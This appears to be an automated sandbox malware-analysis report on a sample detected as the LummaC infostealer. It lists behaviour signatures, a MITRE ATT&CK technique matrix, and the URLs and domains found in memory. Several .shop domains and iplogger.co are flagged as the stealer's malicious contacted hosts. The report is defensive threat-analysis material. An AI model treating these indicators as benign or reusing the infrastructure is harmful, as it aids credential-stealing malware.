Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\SearchIndexer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	11 DLL Side-Loading	212 Process Injection	11 Masquerading	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	31 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	2 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	11 DLL Side-Loading	212 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	4 PowerShell	Login Hook	Login Hook	21 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
condedqpwqm.shop	100%	URL Reputation	phishing
locatedblsoqp.shop	100%	URL Reputation	phishing
traineiwnqo.shop	100%	URL Reputation	malware

URLs

Source	Detection	Scanner	Label
https://commons.wikimedia.org/wiki/File:Wikivoyage-Logo-v3-en.svgu	0%	Avira URL Cloud	safe
https://commons.wikimedia.org/wiki/File:Slashdot_wordmark_and_logo.svg	0%	Avira URL Cloud	safe
https://github.com/thundernest/thunderbird-website/blob/d7446f3eee14b38f02ee60da7d4b4fb8c9ef20e3/med	0%	Avira URL Cloud	safe
https://commons.wikimedia.org/wiki/File:Commons-logo.svgM	0%	Avira URL Cloud	safe
https://partner.steamgames.com/doc/marketing/branding#	0%	Avira URL Cloud	safe
https://statuspal.io/A	0%	Avira URL Cloud	safe
https://www.sonarlint.org/logos/	0%	Avira URL Cloud	safe
https://github.com/mrdoob/three.js/blob/a567b810cfcb7f6a03e4faea99f03c53081da477/files/icon.svg	0%	Avira URL Cloud	safe
https://vaadin.com/icons:https://github.com/vaadin/vaadin-icons/blob/master/LICENSE	0%	Avira URL Cloud	safe
https://www.ssrn.com	0%	Avira URL Cloud	safe
stamppreewntnq.shop	100%	URL Reputation	phishing
https://creativecommons.org/licenses/by/4.0/.	0%	Avira URL Cloud	safe
https://www.who.int/	0%	Avira URL Cloud	safe
https://www.spyder-ide.org/m	0%	Avira URL Cloud	safe
https://github.com/snapcore/snap-store-badges;	0%	Avira URL Cloud	safe
https://commons.wikimedia.org/wiki/File:Symantec_logo10.svg	0%	Avira URL Cloud	safe
https://www.tesco.com/	0%	Avira URL Cloud	safe
https://www.washingtonpost.com/brand-studio/archive/.	0%	Avira URL Cloud	safe
https://www.target.com/-	0%	Avira URL Cloud	safe
https://www.spri.ng/	0%	Avira URL Cloud	safe
https://snyk.io/press-kitQ	0%	Avira URL Cloud	safe
https://www.zyte.com/	0%	Avira URL Cloud	safe
https://www.splunk.com/	0%	Avira URL Cloud	safe
https://www.streamlit.io/brand/	0%	Avira URL Cloud	safe
https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors0	0%	Avira URL Cloud	safe
https://framework.zend.com/$	0%	Avira URL Cloud	safe
https://www.zotero.org/support/brand	0%	Avira URL Cloud	safe
https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors	0%	Avira URL Cloud	safe
https://spdx.org/Resources	0%	Avira URL Cloud	safe
https://www.zingat.com/kurumsal-logolar	0%	Avira URL Cloud	safe
https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg/	0%	Avira URL Cloud	safe
https://www.starlingbank.com/media/	0%	Avira URL Cloud	safe
https://spond.com/e	0%	Avira URL Cloud	safe
http://www.stubhub.com:	0%	Avira URL Cloud	safe
https://www.zillow.com/	0%	Avira URL Cloud	safe
https://teespring.com	0%	Avira URL Cloud	safe
https://upload.wikimedia.org/wikipedia/commons/9/90/X.Org_Logo.svg8	0%	Avira URL Cloud	safe
https://github.com/dotnet/swag/tree/master/xamarin	0%	Avira URL Cloud	safe
https://developer.valvesoftware.com/favicon.ico	0%	Avira URL Cloud	safe
https://www.zellepay.com/	0%	Avira URL Cloud	safe
https://xrpl.org/	0%	Avira URL Cloud	safe
https://stripe.com/about/resources3	0%	Avira URL Cloud	safe
https://www.sparkpost.com/press-kit/%	0%	Avira URL Cloud	safe
https://wordpress.org/about/logos-	0%	Avira URL Cloud	safe
https://telegra.ph/	0%	Avira URL Cloud	safe
https://www.tesla.com/tesla-gallery	0%	Avira URL Cloud	safe
https://www.yelp.com/styleguide/icons	0%	Avira URL Cloud	safe
https://www.strongswan.org/images/$	0%	Avira URL Cloud	safe
https://www.zhihu.com/)	0%	Avira URL Cloud	safe
https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg	0%	Avira URL Cloud	safe
https://wizzair.com/en-gb/information-and-services/about-us/press-office/logos	0%	Avira URL Cloud	safe
https://www.sololearn.com/	0%	Avira URL Cloud	safe
https://statuspal.io/	0%	Avira URL Cloud	safe
https://www.spriters-resource.com/	0%	Avira URL Cloud	safe
https://www.skillshare.comJ	0%	Avira URL Cloud	safe
https://commons.wikimedia.org/wiki/File:WWE_Network_logo.svg;	0%	Avira URL Cloud	safe
https://www.atlassian.com/company/news/press-kit	0%	Avira URL Cloud	safe
https://getsol.us/branding/	0%	Avira URL Cloud	safe
https://songoda.com/branding	0%	Avira URL Cloud	safe
https://on.substack.com/2	0%	Avira URL Cloud	safe
https://brandfolder.com/sonicwall/sonicwall-external	0%	Avira URL Cloud	safe
http://metro.mahapps.com/winfx/xaml/iconpacks	0%	Avira URL Cloud	safe
https://www.xda-developers.com/	0%	Avira URL Cloud	safe
https://support.siasky.net/key-concepts/skynet-brand-guidelines7	0%	Avira URL Cloud	safe
https://sourceforge.net/	0%	Avira URL Cloud	safe
https://www.irishtimes.com/	0%	Avira URL Cloud	safe
https://www.yelp.com/styleguide/icons)	0%	Avira URL Cloud	safe
https://threema.ch/en/press	0%	Avira URL Cloud	safe
https://www.zhihu.com/	0%	Avira URL Cloud	safe
https://tapas.io/site/about#media$	0%	Avira URL Cloud	safe
https://yalehome.com3	0%	Avira URL Cloud	safe
https://www.speedtest.net/Z	0%	Avira URL Cloud	safe
https://www.zdf.de/%	0%	Avira URL Cloud	safe
https://github.com/davidkpiano/xstate/blob/544df7f00e2ef49603b5e5ff2f0d183ff6bd5e7c/docs/.vuepress/p	0%	Avira URL Cloud	safe
https://brandland.zendesk.com/	0%	Avira URL Cloud	safe
http://stackoverflow.com/company/logos=	0%	Avira URL Cloud	safe
https://www.alibabagroup.com/en/ir/reports-	0%	Avira URL Cloud	safe
https://www.zoiper.com/en/products1	0%	Avira URL Cloud	safe
https://www.stellar.org/press1	0%	Avira URL Cloud	safe
https://www.spyder-ide.org/	0%	Avira URL Cloud	safe
https://about.zenodo.org	0%	Avira URL Cloud	safe
https://github.com/microsoft/terminal/blob/a90289548f8548bf5c370a4b141b4b815c22616b/res/terminal/Ter	0%	Avira URL Cloud	safe
https://developer.spotify.com/documentation/general/design-and-branding/#using-our-logo	0%	Avira URL Cloud	safe
https://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2.svg	0%	Avira URL Cloud	safe
https://www.smashingmagazine.com/	0%	Avira URL Cloud	safe
https://tengkis-txt.b-cdn.net	0%	Avira URL Cloud	safe
http://www.stencyl.com/about/press/	0%	Avira URL Cloud	safe
https://spring.io/trademarks	0%	Avira URL Cloud	safe
https://www.skyliner.io/helpL	0%	Avira URL Cloud	safe
https://www.sonos.com/en-gb/home-	0%	Avira URL Cloud	safe
https://zigbeealliance.org/solution/zigbee/$	0%	Avira URL Cloud	safe
https://www.sonarsource.com/logos/:	0%	Avira URL Cloud	safe
https://github.com/Teradata/teradata.github.io/	0%	Avira URL Cloud	safe
https://spinrilla.com$	0%	Avira URL Cloud	safe
https://stadia.google.com/home	0%	Avira URL Cloud	safe
https://www.apachefriends.org/en/	0%	Avira URL Cloud	safe
https://woocommerce.com/style-guide/6	0%	Avira URL Cloud	safe
https://www.slideshare.net/ss/creators/	0%	Avira URL Cloud	safe
https://woocommerce.com/style-guide/1	0%	Avira URL Cloud	safe
https://steamdb.info/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tengkis-txt.b-cdn.net	169.150.247.33	true	false		unknown
condedqpwqm.shop	172.67.146.35	true	true	100%, URL Reputation	unknown
iplogger.co	172.67.167.249	true	true		unknown
bassicnuadnwi.shop	172.67.200.243	true	true		unknown
tengkis.b-cdn.net	138.199.36.9	true	false		unknown
locatedblsoqp.shop	unknown	unknown	true	100%, URL Reputation	unknown
traineiwnqo.shop	unknown	unknown	true	100%, URL Reputation	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
stamppreewntnq.shop	true	URL Reputation: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.ssrn.com	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/thundernest/thunderbird-website/blob/d7446f3eee14b38f02ee60da7d4b4fb8c9ef20e3/med	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sonarlint.org/logos/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:Slashdot_wordmark_and_logo.svg	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://partner.steamgames.com/doc/marketing/branding#	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://statuspal.io/A	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:Wikivoyage-Logo-v3-en.svgu	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:Commons-logo.svgM	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mrdoob/three.js/blob/a567b810cfcb7f6a03e4faea99f03c53081da477/files/icon.svg	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vaadin.com/icons:https://github.com/vaadin/vaadin-icons/blob/master/LICENSE	powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.who.int/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.tesco.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://creativecommons.org/licenses/by/4.0/.	powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.spyder-ide.org/m	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.washingtonpost.com/brand-studio/archive/.	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/snapcore/snap-store-badges;	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:Symantec_logo10.svg	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.spri.ng/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.target.com/-	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://snyk.io/press-kitQ	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zyte.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.splunk.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zingat.com/kurumsal-logolar	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.streamlit.io/brand/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://framework.zend.com/$	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zotero.org/support/brand	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors0	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spdx.org/Resources	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zillow.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.starlingbank.com/media/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spond.com/e	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stubhub.com:	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.valvesoftware.com/favicon.ico	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://teespring.com	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zellepay.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://upload.wikimedia.org/wikipedia/commons/9/90/X.Org_Logo.svg8	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/swag/tree/master/xamarin	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xrpl.org/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stripe.com/about/resources3	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sparkpost.com/press-kit/%	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wordpress.org/about/logos-	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://telegra.ph/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.tesla.com/tesla-gallery	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.strongswan.org/images/$	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.yelp.com/styleguide/icons	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zhihu.com/)	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wizzair.com/en-gb/information-and-services/about-us/press-office/logos	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sololearn.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://songoda.com/branding	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.skillshare.comJ	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.atlassian.com/company/news/press-kit	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://statuspal.io/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.spriters-resource.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getsol.us/branding/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:WWE_Network_logo.svg;	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://on.substack.com/2	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://metro.mahapps.com/winfx/xaml/iconpacks	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.Coolicons.dll.4.dr, MahApps.Metro.IconPacks.RPGAwesome.dll.4.dr	false	Avira URL Cloud: safe	unknown
https://brandfolder.com/sonicwall/sonicwall-external	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.xda-developers.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.siasky.net/key-concepts/skynet-brand-guidelines7	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sourceforge.net/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://threema.ch/en/press	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tapas.io/site/about#media$	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.yelp.com/styleguide/icons)	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.irishtimes.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yalehome.com3	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zhihu.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/davidkpiano/xstate/blob/544df7f00e2ef49603b5e5ff2f0d183ff6bd5e7c/docs/.vuepress/p	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.speedtest.net/Z	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://stackoverflow.com/company/logos=	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zdf.de/%	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://brandland.zendesk.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.alibabagroup.com/en/ir/reports-	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zoiper.com/en/products1	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.stellar.org/press1	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://about.zenodo.org	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.spyder-ide.org/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/microsoft/terminal/blob/a90289548f8548bf5c370a4b141b4b815c22616b/res/terminal/Ter	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.spotify.com/documentation/general/design-and-branding/#using-our-logo	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stencyl.com/about/press/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2.svg	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.smashingmagazine.com/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tengkis-txt.b-cdn.net	powershell.exe, 00000004.00000002.1798946627.000001FE1BC11000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spring.io/trademarks	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.skyliner.io/helpL	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sonos.com/en-gb/home-	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://zigbeealliance.org/solution/zigbee/$	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Teradata/teradata.github.io/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sonarsource.com/logos/:	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.apachefriends.org/en/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spinrilla.com$	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stadia.google.com/home	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://woocommerce.com/style-guide/6	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.slideshare.net/ss/creators/	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://woocommerce.com/style-guide/1	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
